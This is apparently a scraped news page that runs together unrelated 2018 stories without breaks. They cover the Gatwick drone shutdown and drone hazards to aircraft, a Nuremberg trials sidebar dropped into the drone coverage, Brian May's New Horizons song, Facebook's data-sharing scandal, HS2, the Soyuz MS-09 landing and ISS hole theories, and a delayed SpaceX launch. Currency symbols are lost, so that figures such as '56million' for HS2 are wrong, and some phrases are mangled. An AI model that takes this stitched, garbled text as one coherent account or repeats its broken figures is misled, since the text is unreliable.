bestowed by the men he led. In fact, his men in the field had a different moniker for him when he was a Marine colonel. They called him CHAOS, short for 'Colonel Has An Outstanding Suggestion'a hat tip to Mattis' reputation as a thinking man's soldier. The most worrying aspect of the Gatwick shutdown is that it seems to have been caused by the sort of drone that can be bought for a few hundred pounds like the type of toy that many parents will give their children as a present this Christmas. Experts fear that such devices could do unimaginable damage to a plane travelling at a runway approach speed of 200mph. The 5lb of metal, plastic and battery that constitute a 499 DJI Phantom 3, for example, could rip through one of its Rolls-Royce engines and smash a cockpit windshield. Drones are set to be a major gift this Christmas as they can be bought for a few hundred pounds - yet they can do unimaginable damage to a plane travelling in to land There were chaotic scenes at Gatwick as passengers waited for the airport to reopen As with so many modern technologies, drones offer both a great opportunity to mankind but also pose a huge threat. The technical ability of modern devices is, of course, way beyond the imagination of the designers of the first pilotless vehicles, which were built during the First World War and were launched by catapult. You only need to skim through a voluminous report drily entitled Airborne Collision Severity Evaluation, issued in July last year by the United Statess Federal Aviation Administration and a consortium of universities, to realise that drones are far more dangerous to planes than bird-strikes, and can be as lethal as guided missiles. According to the Civil Aviation Authority, there were 117 near-misses between drones and aircraft in the year to November four times as many as in 2015. In just one example, in July, a drone passed just 50ft above the cockpit of a Boeing 747 at 5,000ft while it approached Heathrow. It was only through sheer luck that no collision took place. Of course, much more sophisticated drones are commonly used in warfare. For instance, the assassination by Western forces of the sadistic Isis convert known as Jihadi John in Syria in 2015 was achieved thanks to a drone. He was identified by a source on the ground and with help from analysis of aerial images and by sophisticated eavesdropping by GCHQ (the UK government communications centre), working alongside Americas National Security Agency. At least three US MQ-9 Reaper drones armed with Hellfire missiles were then launched for the kill as the terrorist left a building in Raqqa. Flight operations at Gatwick Airport were suspended after air traffic controllers were warned that drones had been spotted in the vicinity Almost 3,000 miles away, at RAF Waddington in Lincolnshire, drone operators sitting at consoles watched on screens as he got into the car. Meanwhile, at Creech Air Force Base in Nevada, controllers of US drones operated their systems joysticks, locking a Hellfire on to its target and obliterated Jihadi John. Such is the killing power of military drones. But the type over Gatwick is one part of a booming industry that has put drones to a range of uses that makes lives easier. According to recent research by the professional services firm PwC, drone technology has the potential to boost Britains gross domestic product by 42billion 2 per cent of the total by 2030. The firm estimates that by then, 76,000 drones will buzzing around our skies. That would represent nearly one drone for every square mile of the UK. It is predicted that about a third of these will be used in the commercial world and by the public sector such as the emergency services and health. Already they help inspect our national infrastructure such as the railways and power stations, and they are aiding disaster relief, too. The construction group Costain uses drones for inspections at the building site for the Hinkley Point C nuclear power station, claiming that they make cost savings of 50 per cent compared with using helicopters or human inspection teams on the ground. Network Rail employs drones to improve track maintenance and for inspections on structures that are difficult to access such as roofs, masts, bridges and overhead wires. Inspections carried out by air also mean that personnel do not need to walk along the tracks so frequently, making it not only safer for them, but also resulting in fewer timetable disruptions. An area of huge potential is in healthcare. Already, they are used to deliver blood. In London, for example, there are 34 hospitals, all situated relatively close to each other. Vital deliveries between them can be held up by traffic a problem that drones, of course, do not suffer. Similarly, drones could be used to send urgently needed medicines to islands such as the Isle of Wight, which would be far quicker than sending them by boat. Another life-saving application could be in helping clear up traffic accidents. Drones could be sent ahead of emergency services to the scene of a crash, and could then feed live images to the police and ambulance crews. Similarly, fire brigades equipped with drones could obtain an overview of a critical situation. Drones could help spot people who are trapped, and examine buildings that are at risk of collapse. Also, in the future, there is the potential for drones to be used to deliver parcels for companies such as Amazon. Two years ago, there was much fanfare about the potential for the firm to soon employ drones to whisk parcels from warehouses to homes, although, ever since, things have gone quiet. Police helicopters have been patrolling around the airport looking for the rogue drones Research by Deutsche Bank suggests that using drones would cost less than 4p a mile to deliver a parcel the size of a shoe box, compared to delivery costs of more than 5 for more traditional forms of transport. Safety concerns about the skies being infested by countless unmanned aircraft have stymied Amazons plans, but the company said earlier this month: We are committed to making our goal of delivering packages by drones in 30 minutes or less a reality. There are no such problems for estate agents, who love drones because they can be used to produce classy aerial promotional shots of houses that would have previously required the use of an expensive helicopter. Mapping organisations such as the Ordnance Survey naturally see great value in drones, and the OS uses digital cameras on drones to obtain what it describes as two-dimensional and three-dimensional data content. Another way we all benefit from drones is their use in aerial photography and film-making. Anyone who watched the BBCs stunning Planet Earth II TV series would have been wowed by the stunning aerial shots. Previously, of course, such photography would have been all but impossible with noisy, polluting and comparatively less nimble helicopters, that scare away the very animals that the crew is trying to film. An experienced pilot and cameraman designed a special jungle-adapted drone to film in the jungles of Costa Rica and elsewhere getting footage, they said, that otherwise only a bird could see. But while animals cannot moan about having their privacy invaded, humans most certainly can. The increasing use of drones represents an intrusion into peoples private lives. In some parts of London, drones are banned. In the borough of Kensington and Chelsea, the council has restricted their use by declaring that it is a congested area. In Holland Park, a 1985 by-law prohibiting the use of model aircraft has also been applied to drones. Inevitably, though, technological advances are happening in leaps and bounds and much more quickly than legislation to govern their use and misuse. Some sensible manufacturers are increasingly fitting technology that automatically stops their drones from flying over prohibited areas a safeguard known as geofencing. However, a rogue user can easily hack such systems and fly devices in banned places. Until this week, the world of drones has been like the old Wild West barely regulated, and with plenty of cowboys. Gatwick is clearly a watershed moment, and ministers will need to act accordingly if we are to reap the benefits of drones rather than be their victims. Calls for tougher anti-drone detection systems at UK airports that can spot devices up to five miles away within three seconds will be renewed today, following the suspension of flights at Gatwick Airport. US airports use jammers to block the frequencies used to control drones, making them stop working if they are anywhere near a commercial or military runway. A drone flies in the air, with a British Airways aircraft pictured to the rear in February 2017 They also have 'early warning' systems to tell air traffic control if a drone is approaching - but these are not in place at UK airports. According to the British Airline Pilots Association (Balpa), there were 117 near misses between manned aircraft and drones up until November this year, compared to 93 for the whole of 2017 - a rise of 58 per cent. Experts believe a large drone could take down a passenger jet because it could shred an engine if it was sucked in or destroy its windscreen or windows, causing a sudden drop in cabin pressure. Strong sales of small consumer drones especially in the run up to Christmas each year - have led to repeated warnings about a possible threat to scheduled flights, which have become a reality just five days before December 25. The Civil Aviation Authority has estimated that 1.5million drones were bought in Britain last Christmas, with 63 per cent of these purchased as a gift. More expensive commercial drones can be flown from up to five miles away or even remotely using GPS programming. Earlier this year, new laws came into force which ban all drones from flying above 400ft and within 1km (0.6 miles) of airport boundaries. Drone users who flout the restrictions could face an unlimited fine, up to five years in prison, or both. The drone used over London Gatwick Airport were potentially built by someone who planned to cause disruption, a top expert said today. Samuel Luff, who has been flying drones for five years, said he believes the operator could have been manning the drone from up to five miles away. Mr Luff, who runs Apollo Drone Services in Redhill, Surrey, also pointed out that it was raining at the time the drone was first sighted - giving further evidence that the device is specialised enough to work in wet conditions. By SAMUEL LUFF, Apollo Drone Services As a licensed and insured drone operator and a drone pilot for close to five years, I am actually amazed that it is only now in 2018 that we are seeing a serious threat at Gatwick Airport. I have had many conversations with my clients over the years about just how destructive the technology could be in the wrong hands, and in my opinion this is what we are seeing this morning. From the video that I have watched it is clear to me that the drones we are seeing are not of standard specification and have potentially been built for the purpose to disrupt. Here's the thing - the largest seller of drones, DJI, all have built in systems that prevent the operator from flying close to airports, to stop things like this happening. Someone here has not only got close to the airport but has been seen over the runway itself. This is not someone making a foolish mistake, this is someone who has planned this and built or modified a drone that can get this close to a runway. It is also worth pointing out that at 9pm (the approximate time they were seen) it was raining. Again, this points to something that is much more specialist, and Gatwick Airport has stated that 'one of the drones is a heavy, industrial type'. It is entirely possible these people were operating the drone from up to five miles away which will make it very hard to track them down. Drones are too small to be picked up by a radar as well so they can go relatively unnoticed. What I would like to see here is the Civil Aviation Authority and the police make it very clear to people that breaking drone rules will have serious consequences. There are thousands of videos online of people flying drones over crowds of people and through city centres. Very rarely do these people get prosecuted and it leads to things like this which damages our industry. I have seen instances where unlicensed pilots know full well they are breaking the rules but do so anyway because they know that the police simply do not have the time to deal with them. Drones are used for good all across the UK by sensible, qualified operators and it's moments like this that further add to the public's perception that all drones are bad. Until someone is made an example of then I fully understand their concerns. Visit Mr Luff's Twitter page here - or view the Apollo Drone Services website This is not the first time an incident involving drones has been reported at London Gatwick. The airport closed for around 20 minutes following a similar incident in 2017 as concerns were raised that drone pilots were deliberately trying to film close encounters with aircraft. And in October, it was reported that a drone 'put 130 lives at risk' after nearly hitting an aircraft approaching the airport over the summer. According to the UK Airprox Board, the flying gadget passed directly over the right wing of the Airbus A319 as it was preparing to land at the West Sussex airport in July. Last week, a suspected drone crashed into a passenger plane in Mexico - ripping holes into the front of the craft as it attempted to land in Tijuana. The crew on board the Aeromexico Boeing 737-800 had to request help in order to land the mauled aircraft after hearing a 'very strong blow'. In October, a drone collided with a commercial aircraft as it was approaching to land in Canada. There were six passengers and two crew on the aircraft and the drone connected with its wing, but fortunately it suffered only minor damage, allowing it to land safely at Jean Lesage International Airport in Quebec City. In June a Virgin Atlantic Boeing Dreamline avoided crashing into a drone by just 16ft (5m), in the nearest miss in British aviation history. At the time, Virgin said: 'It's vital that action is taken to regulate the use of drones near airports, and we urge the government to consider further proposals.' Two months later a drone, flying higher than the 400ft limit, came within 50ft (15m) of hitting a Boeing 737 that was landing at Stansted Airport. The Nuremberg trials were a series of military tribunals held by the Allied forces under international law and the laws of war following the Second World War. They were notable for the prosecution of leading figures from the political, military, judicial and economic leadership of Nazi Germany. Many of these figures were responsible for war crimes including the Holocaust and systematic ethnic cleansing of non-Aryan races. The trials were held in the city of Nuremberg, Germany, and are described as the 'greatest trial in history'. Held between November 20, 1945 and October 1, 1946, the Tribunal was given the task of trying 24 of the most important figures within the Third Reich. Hermann Goering: Reichsmarschall, Commander of the Luftwaffe 193545, Chief of the 4-Year Plan 193645, and original head of the Gestapo until 1934. Originally the second-highest-ranked member of the Nazi Party and Hitler's designated successor, he fell out of favour with the Nazi leader in April 1945. He was the highest ranking Nazi official to be tried at Nuremberg. Goering was sentenced to hanging, but committed suicide by ingesting cyanide while waiting to be executed. Rudolf Hess: Hitler's Deputy Fuhrer until he flew to Scotland in 1941 in a bid to broker peace with the United Kingdom. Was sentenced to life imprisonment for war crimes. At the age of 93, Hess is said to have hanged himself. Dr Robert Ley: Head of DAF - the German Labour Front. Ley committed suicide on 25 October 1945, before the trial began. He was indicted but neither acquitted nor found guilty as trial did not proceed. Albert Speer: Was sentenced to 20 years in prison for crimes against peace and humanity. Hitler's close friend and favorite architect, he was the Minister of Armaments from 1942 until the end of the war. In this capacity, he was responsible for the use of slave labourers from the occupied territories in armaments production. This shocking footage shows the potential danger posed by a small drone if it crashes into a passenger jet by puncturing a hole in the aircraft's wing. Experts from the University of Dayton Research Institute's Impact Physics lab simulated a collision between a drone and an aircraft wing under test conditions. The footage shows the drone punch through the outer skin of the aircraft's wing as it disintegrates. Experts at the University of Dayton Research Institute's Impact Physics Lab simulated the damage caused by a drone involved in a high-speed collision with an aircraft wing The footage showed the drone breaks up on impact put it punctures a hole in the aircraft's outer skin, pictured Experts fear that even an impact between a small drone and a passenger aircraft could lead to a catastrophe Such an impact on take off or landing could potentially lead to serious control issues endangering the safety of the aircraft and those on the ground. The drone appears to punch a grapefruit-sized hole into the wing - into an area many aircraft use to carry part of their fuel supply. A drone hit a small charter plane in Canada in 2017; it landed safely. In another incident that same year, a drone struck a U.S. Army helicopter in New York but caused only minor damage. Mexican authorities are investigating reports that a Boeing 737-800 was struck by a drone while on approach to Tijuana airport in December 2018. Photographs taken after the passenger jet safely landed show extensive damage to the aircraft's nose cone which houses some of its radar equipment. Airline pilot Patrick Smith of askthepilot.com said: 'This has gone from being what a few years ago what we would have called an emerging threat to a more active threat. 'The hardware is getting bigger and heavier and potentially more lethal, and so we need a way to control how these devices are used and under what rules.' A Boeing 737-800, pictured, suffered damage to its nose on approach to Tijuana airport in December 2018 from a suspected drone Mechanics were forced to remove seconds of the aircraft's nose cone which was damaged shortly before landing Officials were trying to confirm whether the damage was caused by a drone or where another object such as a bird hit the jet John Cox, former airline pilot and now a safety consultant warned drones posed a greater threat to smaller aircraft and helicopters but could cause problems with a passenger jet. In a small aircraft the drone could smash through the windscreen into the pilot's face. It could also be sucked into an aircraft's engine or damage the rotor of a helicopter. Mr Cox said: 'On an airliner, because of the thickness of the glass, I think it's pretty unlikely, unless it's a very large drone.' A study by the US Federal Aviation Authority warned drones posed a greater risk than birds to aircraft as the drones carried batteries and motors which could cause more damage than a bird's bones. Marc Wagner, CEO of Drone Detection Sys in Switzerland said jamming systems could disrupt a drone, but such technology is illegal in Britain. He said Dutch police trained eagles to swoop down on drones and knock them out of the sky near aerodromes or large concerts, but the program was ended as the birds did not always follow orders. According to Wagner: 'The only method is to find the pilot and to send someone to the pilot to stop him.' British authorities are planning to tighten regulations by requiring drone users to register, which could make it easier to identify the pilot. But Wagner warned: 'If somebody wants to do something really bad, he will never register.' Jamming and astrophysics go hand-in-hand for Queen lead guitarist Brian May, who announced Wednesday he is releasing a musical tribute to a far-flung NASA spacecraft that is about to make history. The US space agency's New Horizon's spacecraft will soon make the most distant flyby of a cosmic object ever, zipping by an object called Ultima Thule - a billion miles (1.6 billion kilometers) beyond Pluto, on January 1. A NASA scientist involved with the mission asked the legendary British guitarist behind 'Bohemian Rhapsody' - who also holds a doctorate in astrophysics - to contribute some music to play as the flyby occurs. Scroll down for video Guitarist Brian May of Queen also holds a doctorate in astrophysics, and is paying musical tribute to a NASA spacecraft that will conduct a far-flung flyby And May, 71, agreed. The 'New Horizons' track (Ultima Thule mix), which will be released New Year's Day, is his first solo single since 1998. 'New Horizons' will have its global premiere broadcast live on January 1 at 12.02am EST (5.02am GMT) from the New Horizons control Center in Maryland, USA, at the moment when the historic Ultima Thule encounter is confirmed. 'This project has energised me in a new way,' May said. For me it's been an exciting challenge to bring two sides of my life together - Astronomy and Music.' Portions of the wailing guitar track, overlaid with the voice of the late legendary scientist Stephen Hawking, are already available on www.brianmay.com May says Alan Stern, the Project Instigator of the NASA Mission, who approached him in May about writing a special song. 'He asked if I could come up with a theme for Ultima Thule which could be played as the NH probe reached this new destination.' 'I was inspired by the idea that this is the furthest that the Hand of Man has ever reached it will be by far the most distant object we have ever seen at close quarters, through the images which the space craft will beam back to Earth. 'To me it epitomises the human spirit's unceasing desire to understand the Universe we inhabit. ' Ultima Thule is a Kuiper Belt object that sits one billion miles past Pluto. Its official name is 2014 MU69. Scientists aren't yet sure if Ultima is a single body, a binary pair, or a system of many objects. Artist's impression Scientists do not yet have a clear picture of exactly what Ultima Thule is, whether a single object or a cluster, spanning about 19 miles (30 kilometers) in diameter. But when New Horizons passes, it should capture images at a resolution of 98 to 230 feet (30 to 70 meters) per pixel. Portions of the wailing guitar track, overlaid with the voice of the late legendary scientist Stephen Hawking, are already available on www.brianmay.com. A third installment in expected in the next few days. New Horizons completed a successful flyby of Pluto three years ago, and returned stunning images of the dwarf planet. Haze layers above Pluto's limb, taken by the Ralph/Multispectral Visible Imaging Camera (MVIC) on NASA's New Horizons spacecraft during its mission three years ago New Horizons' Principal Investigator Alan Stern gave the go-ahead for the craft to remain on the optimal flyby path this week. The other path, plotted out to avoid hazards, would have put New Horizons three times farther than the primary route. 'Our team feels like we have been riding along with the spacecraft, as if we were mariners perched on the crow's nest of a ship, looking out for dangers ahead,' said hazards team lead Mark Showalter, of the SETI Institute. 'The team was in complete consensus that the spacecraft should remain on the closer trajectory, and mission leadership adopted our recommendation. 'The spacecraft is now targeted for the optimal flyby, over three times closer than we flew to Pluto. Ultima, here we come!' Facebook shares plummeted more than 7 percent today as the social media giant continued to feel the heat from a string of bad news. A bombshell report from the New York Times revealed that Facebook allowed over 150 companies, including Netflix, Spotify and Bing, to access unprecedented amounts of user data, such as private messages. The incident marks the latest of several privacy scandals for Facebook, which has been rocked by revelations that it repeatedly mishandled users' private data. Scroll down for video Facebook shares fell more than 7 percent today as the social media giant continued to feel the heat from a string of bad news. The one-day decline wiped $28 billion off Facebook's value Separately, Washington DC's attorney general office announced it brought a lawsuit against Facebook, alleging the firm misled users about the security of their data and failed to adequately monitor third-party apps. By late Wednesday, Facebook's stock was on track to experience its worst day since July, when it roiled from a negative post-Cambridge Analytica earnings report. The stock's one-day decline managed to wipe $28 billion off Facebook's value, based on the company's market cap at the end of Wednesday trading. Facebook's market capitalization now stands at $384.1 billion, down sharply from its value of $412.8 billion, which was held at the close of Tuesday's trading. Wednesday's decline marks Facebook's second-worst single-day decline in 2018, trailing a 19 percent drop on July 26, when the firm published a disappointing post-Cambridge Analytica earnings report. The nation's capital launched a lawsuit against Facebook over its Cambridge Analytica scandal. In March, Facebook revealed that some 87 million users' data shared with Trump-affiliated research firm Cambridge Analytica without their knowledge. Facebook continued to feel the heat from a string of bad news, including a bombshell New York Times report which revealed the firm shared private user data with 150 companies 'Facebook failed to protect the privacy of its users and deceived them about who had access to their data and how it was used,' Attorney General Karl Racine said in a press release, according to NBC. 'Facebook put users at risk of manipulation by allowing companies like Cambridge Analytica and other third-party applications to collect personal data without users' permission. 'Today's lawsuit is about making Facebook live up to its promise to protect its users' privacy,' Racine said. The lawsuit alleges that Facebook was aware in 2014 that the third-party app developer wanted to download the information about users' friends but 'failed to monitor or audit the app'. Prior to news of the lawsuit, Facebook had been dealing with the fallout from the Times report alleging it shared mountains more data than previously realized with its 'partners.' WHAT USER DATA DID FACEBOOK SHARE WITH ITS PARTNERS? A bombshell report from the New York Times revealed that Facebook allowed over 150 companies, including Netflix, Spotify and Bing, to access unprecedented amounts of user data, such as private messages. Some of these 'partners' had the ability to read, write, and delete Facebook users' private messages and to see all participants on a thread. It also allowed Microsoft's search engine, known as Bing, to see the name of all Facebook users' friends without their consent. Amazon was allowed to obtain users' names and contact information through their friends, and Yahoo could view streams of friends' posts. As of last year, Sony, Microsoft, and Amazon could all obtain users' email addresses through their friends. Mark Zuckerberg is reported to have lost $15 billion from his fortune after a year of privacy scandals, starting with Cambridge Analytica to its latest data-sharing mishap Facebook never received monetary payment for this kind of access, which was permitted even if its users had disabled all data sharing on their profile. It has argued that these major companies were merely acting as an extension of Facebook, which is why any information that a user shared with friends on the site could be shared with the companies without their consent. Facebook made deals with over 60 makers of smartphones, including Apple. Records show that Apple devices could access users' contact numbers and calendar entries, even if those same users had disabled all sharing. Apple was also given the ability to hide the fact that its devices were asking for data from Facebook's users. And Yandex, a Russian social media company accused of having ties to the Kremlin, could access Facebook users' unique IDs as recently as 2017. Advertisement In a blog post, Facebook denied that it gave the apps access without user consent. 'To be clear: none of these partnerships or features gave companies access to information without people's permission, nor did they violate our 2012 settlement with the FTC,' the company said. Konstantinos Papamiltiadis explained in the blog post that these features were used in a range of scenarios, including apps that let them use Facebook on a Windows Phone, to see search results in Bing and other engines based on public information their friends shared, as well as through using tools that helped them find friends on Facebook by uploading contacts from providers like Yahoo. 'To put it simply, this work was about helping people do two things,' Papamiltiadis said. 'First, people could access their Facebook accounts or specific Facebook features on devices and platforms built by other companies like Apple, Amazon, Blackberry and Yahoo. Mark Zuckerberg's fortune dropped from $75 billion at the start of the year to $57 billion by its end. The firm was rocked by a series of user data scandals, including Cambridge Analytica 'Second, people could have more social experiences like seeing recommendations from their Facebook friends on other popular apps and websites, like Netflix, The New York Times, Pandora and Spotify.' However, the firm did admit that the services were able to access private messages. 'Did partners get access to messages? Yes,' the firm explained. 'But people had to explicitly sign in to Facebook first to use a partners messaging feature.' Facebook's 2011 agreement with the Federal Trade Commission required Facebook to make clearer how it shared data with third parties. It also barred Facebook from sharing friends' data without their consent. HS2 will drive Britains most endangered bird to the brink of extinction, campaigners warn today. Willow tit numbers have fallen by 94 per cent since the Seventies, making them our most endangered resident, non-migratory bird. The Wildlife Trusts charity claims the 56million rail line is highly likely to lead to its extinction in its South Yorkshire stronghold. HS2 said if the route destroyed important wildlife sites, it would recreate equivalent habitats elsewhere. But Katherine Hawkins, of The Wildlife Trusts, said: There will be a huge loss of species along the entire route. Advertisement Three astronauts returned to Earth safely today after spending an eventful six months aboard the International Space Station (ISS). A Russian Soyuz capsule, carrying three astronauts inside, landed in the snow in Kazakhstan, about 87 miles (140 km) southeast of the city of Dzhezkazgan. NASA's Serena Aunon-Chancellor, Russian Sergey Prokopyev and Alexander Gerst of the European Space Agency left the ISS on Wednesday afternoon after spending 197 days there, as part of Expeditions 56 and 57. Russian rescue teams in helicopters and all-terrain vehicles were standing-by and rushed to the landing site to extract the astronauts from the descent capsule after it touched down. The capsule, the same one that brought them to the ISS and sustained a mysterious hole which is now being investigated, was visibly charred from the fiery journey through the Earth's atmosphere. Scroll down for video Ground personnel help International Space Station (ISS) crew member Russian Sergey Prokopyev, pictured as he leaves the Soyuz MS-09 capsule after landing in a remote area near the town of Zhezkazgan The capsule, which was carrying three astronauts inside, landed in the snow in Kazakhstan, about 87 miles (140 km) southeast of the city of Dzhezkazgan. Rescue crews helped the crew in their space suits leave the capsule and conducted an initial medical examination Rescue teams make their way to the descent capsule shortly after it landed in the snow in Kazakhstan, about 87 miles southeast of the city of Dzhezkazgan. The descent capsule, with the parachute still attached, was charred from the fiery ride through the atmosphere A Russian Soyuz capsule carrying three astronauts inside landed in the snow in Kazakhstan, about 87 miles (140 km) southeast of the city of Dzhezkazgan. Pictured, a close-up image of the charred descent capsule While at the ISS , the crew located and sealed mysterious hole that created a slight loss of pressure. Space officials said the station has remained safe to operate. Russian cosmonauts Oleg Kononenko and Sergei Prokopyev, who is now back on Earth, conducted a six-hour spacewalk to inspect the Soyuz's exterior two weeks ago 'The Soyuz MS-09 stuck the landing on the eve of the 50th anniversary of humankind's first voyage to the moon,' NASA TV commentator Rob Navias said during a live webcast of the landing, referring to the Apollo 8 mission in 1968. The return comes after a dramatic 197 days in space for the trio after an initial rocket failure forcing them to make an emergency landing and the discovery of the air leak almost halfway into the crew's mission. The leak was sealed before the expedition back to Earth, posing no threat to the passengers on their way home. After landing, the team radioed the crew to say they were 'feeling fine' before they helped the team, who were still in their space suits, leave the capsule to conduct an initial medical examination. Rescue crews helped the crew in their space suits leave the capsule and conducted an initial medical examination. Here, Russian cosmonaut Sergey Prokopyev. The trio had spent 197 days in space and had been round the earth 3,152 times, travelling a total of 83.3 million miles (134 million km) The three astronauts will be taken to Dzhezkazgan for a brief welcome ceremony before being flown to their respective countries for more thorough check-ups Rescue crews helped the crew in their space suits leave the capsule and conducted an initial medical examination. Pictured, Roscosmos cosmonaut Sergei Prokopyev has an eye examination The trio had spent 197 days in space and had been round the earth 3,152 times, travelling a total of 83.3 million miles (134 million km). It was the first mission for Dr Aunon-Chancellor and Dr Prokopyev, while Commander Gerst returned to Earth for a second time. He spent 362 days in orbit aboard the ISS, setting the European Space Station's flight duration record. The team as a whole performed 300 science experiments spanning disciplines from climate change and medical research on cancer to Parkinsons disease, Alzheimers, and quantum physics during their time at the station. The team radioed the crew to say they were feeling fine before the rescue crews helped the crew in their space suits leave the capsule and conducted an initial medical examination. They also spoke to the press and media The trio has spent 197 days in space and had been round the earth 3,152 times, travelling a total of 134 million km (83.3 million miles). Pictured, German astronaut Gerst and NASA's Serena Aunon-Chancellor Ground personnel help International Space Station (ISS) crew member Sergey Prokopyev of Russia to get out of the Soyuz MS-09 capsule after landing safely in Kazakhstan International Space Station residents held a change-of-command ceremony with Gerst handing over to Oleg Kononenko of Roscosmos on Wednesday afternoon before embarking on the journey. The astronauts will be taken to Dzhezkazgan for a brief welcome ceremony before being flown to their respective countries for more thorough check-ups. Their return comes after a turbulent time for astronauts at the ISS after a small hole was discovered in the Soyuz spaceship. The craft docked at the ISS two months before the air leak, which caused a slight drop in pressure, was detected in August. Russian cosmonauts Sergei Prokopyev and Oleg Kononenko were forced to use an armoury of tools to uncover the source in a gruelling seven hour spacewalk. NASA astronaut Serena Aunon-Chancellor seen as the Soyuz MS-09 descent capsule. NASA's Serena Aunon-Chancellor, Russian Sergey Prokopyev and Alexander Gerst of the European Space Agency left the ISS on Wednesday afternoon German astronaut Alexander Gerst spent 362 days in orbit aboard the ISS, setting the European Space Station's flight duration record Gerst spent 362 days in orbit aboard the ISS, setting the European Space Station's flight duration record. He had been part of ISS expeditions 40 and 41 from May to November 2014, and went back up to the space station in June International Space Station residents held a change-of-command ceremony with Commander Gerst handing over to Oleg Kononenko of Roscosmos on Wednesday afternoon before embarking on the journey Since the leak was discovered, NASA and Roscosmos, the Russian space agency that builds and launches Soyuz spacecraft, have yet to figure out exactly how the tiny, 2-millimeter hole got there. Because of the appearance of the hole, Roscosmos thought that it could have been drilled, suggesting that human error or even sabotage could be to blame. Roscosmos chief Dmitry Rogozin implied that the incident may have occurred during the spacecraft's assembly, amid there was widespread Russian media speculation that it had been drilled by one of the crew members. But NASA astronaut Drew Feustel, the ISS commander at the time, was quick to shoot down that idea and defend the integrity of his crewmembers. WHAT COULD HAVE CAUSED A HOLE IN THE ISS? Theory one - it was caused by a small meteorite A tiny hole appeared in a Russian space capsule locked to the ISS on 30th August. The 'micro fracture' believed to be around 2mm wide in the $150 billion (115 billion) space station was discovered after astronauts noticed a drop in pressure. European Space Agency astronaut Alexander Gerst reportedly put his finger over the hole before crew patched it with tape. The hole was confirmed repaired by Friday (31 August) after cabin pressure returned to normal. It was initially believed to have been caused by a small meteorite and astronauts used tape to seal the leak after it caused a minor loss of pressure. Theory two - it was made deliberately while in orbit However, as the investigation went on it began to look like the hole was made from someone inside as opposed to outside, either back on Earth or in space, the Russian space agency claimed. Roscosmos chief Dmitry Rogozin said in September that the hole could have been drilled during manufacturing or while in orbit with a 'wavering hand'. He didn't say if he suspected any of the US crew, but the statement has caused some bewilderment. Sources suggest the question of how to fix the hole may have strained relations between Moscow and Houston. Rogozin has since reneged on his statement blaming the media for twisting his words and said that he 'never pointed the finger at U.S. astronauts'. Theory three - it was caused by a worker at Energia A leading theory from an unnamed source at Energia said the hole was made on the ground potentially caused by 'deliberate interference' with suggestions the person responsible may have already been identified. Another anonymous source said the hole was drilled by a worker who hid their mistake with a seal instead of reporting it. An unnamed source at Energia told the Russian news agency RIA Novosti that '[t]he hole was made on the ground'. According to the source, '[t]he person responsible for the act of negligence has been identified'. Another anonymous source said the hole was not made intentionally but by a worker who hid their mistake with a seal instead of reporting it. The patchwork repair lasted the trip up to the ISS but after three weeks in orbit gradually peeled away. Advertisement While the investigation was still underway, the ISS was gearing up for new crew members NASA astronaut Nick Hague and Russian cosmonaut Alexey Ovchinin' arrival. A couple minutes after the duo lifted off in their Soyuz MS-10 spacecraft, the rocket failed and the cosmonauts had to make an emergency landing, the launch failure sent the crew capsule falling ballistically toward Earth. The incident, on the 11th of October, was the first serious launch problem by a manned Soyuz space mission since 1983. Hague and Ovchinin survived the emergency landing but the ISS crew were left short-handed until the next crewed Soyuz mission arrived. After the helicopter landed, the rescue team darted over to the capsule where the three cosmonauts were inside. The team as a whole performed 300 science experiments spanning disciplines from climate change and medical research on cancer to Parkinsons disease, Alzheimers, and quantum physics during their time at the ISS The team approach the Soyuz MS-09 capsule carrying the ISS crew of astronauts Serena Aunon-Chancellor of the US, Alexander Gerst of Germany and cosmonaut Sergey Prokopyev of Russia after its landing in a remote area outside the town of Zhezkazgan A closer look at the Soyuz MS-09 descent capsule carrying the ISS Expedition 56/57 crew members Roscosmos cosmonaut Sergei Prokopyev, NASA astronaut Serena Aunon-Chancellor, and ESA astronaut Alexander Gerst It was during this time that Russian cosmonaut Prokopyev went outside the station with Kononenko to inspect the patched-up Soyuz hole. A rare live-stream broadcast showed the cosmonauts in space trying to cut through an insulate of the spacecraft with a knife. They then uncovered the external part of the hole, originally discovered in the capsule's internal covering, and took samples of the exterior insulation. Rescue teams and the media await the three astronauts leaving the capsule. The crew inside radioed rescue teams to say that they were feeling fine This image, released by NASA, shows the parachute of the Soyuz MS-09 spacecraft shortly after the capsule landed with Expedition 57 crew members in a remote area outside the town of Dzhezkazgan. The three astronauts landed back on Earth on after a troubled stint on the ISS marred by an air leak and the failure of a rocket set to bring new crew members A search and rescue helicopter is seen before a flight to the landing area of the Soyuz MS-09 capsule with the International Space Station (ISS) crew onboard during sunrise in the town of Zhezkazgan, formerly known as Dzhezkazgan, Kazakhstan However, none of the astronauts who landed yesterday were on board at the time of the botched launch. The crew members who were, were recovered safely from an escape capsule. During Expedition 56/57, the International Space Station received a total of six cargo shipments packed not only with science experiments but with goodies such as ice cream and coffee. The most recent delivery was a vacuum packed Christmas dinner including turkey, yams, cranberry sauce and biscuits in a load from Elon Musk's Space X craft. NASA astronaut Anne McClain, Russian Oleg Kononenko and David Saint-Jacques of the Canadian Space Agency, who arrived at the station earlier this month, are set to remain in orbit until June. Search and rescue helicopters are seen before a flight to the landing area of the Soyuz MS-09 capsule with the International Space Station (ISS) crew onboard during sunrise in the town of Zhezkazgan Russian cosmonauts repair the 'micro fracture' which is believed to be around 2mm wide in the $150 billion (115 billion) space station was discovered after astronauts noticed a drop in pressure causing air to slowly rush out of the space station. A seven hour, 45 minute spacewalk located the source of the suspicious hole NASA astronaut Anne McClain, Russian Oleg Kononenko and David Saint-Jacques of the Canadian Space Agency, who arrived at the station earlier this month, are set to remain in orbit until June Billionaire Elon Musk's SpaceX Falcon 9 rocket launch has been cancelled for a third time due to bad weather. The rocket will carry a $500 million global positioning system (GPS) satellite built by Lockheed Martin and was expected to take off from Florida's Cape Canaveral shortly after 9 a.m. local time (1400 GMT), today. But it was cancelled for a third time, with launches also aborted on Tuesday and Wednesday this week due to technical issues. In a tweet posted by Space X, they said: 'Standing down today due to weather. Vehicle and payload remain in good health. 'Working toward the next best launch opportunity; will announce a new launch date once confirmed on the Range.' A SpaceX Falcon 9 rocket lifts off from Complex 40 at Cape Canaveral Air Force Station in Cape Canaveral, on Wednesday, Dec. 5, 2018 SpaceX had earlier sent out a tweet confirming the launch, but said they would continue to monitor the difficult weather conditions. The cancellation came as thunderstorms and wind gusts swirled around Florida's Cape Canaveral. A successful launch would be a significant victory for Musk, an entrepreneur who spent years trying to break into the lucrative market for military space launches long dominated by Lockheed and Boeing Co. It was to mark SpaceX's first so-called National Security Space mission, as defined by the U.S. military, 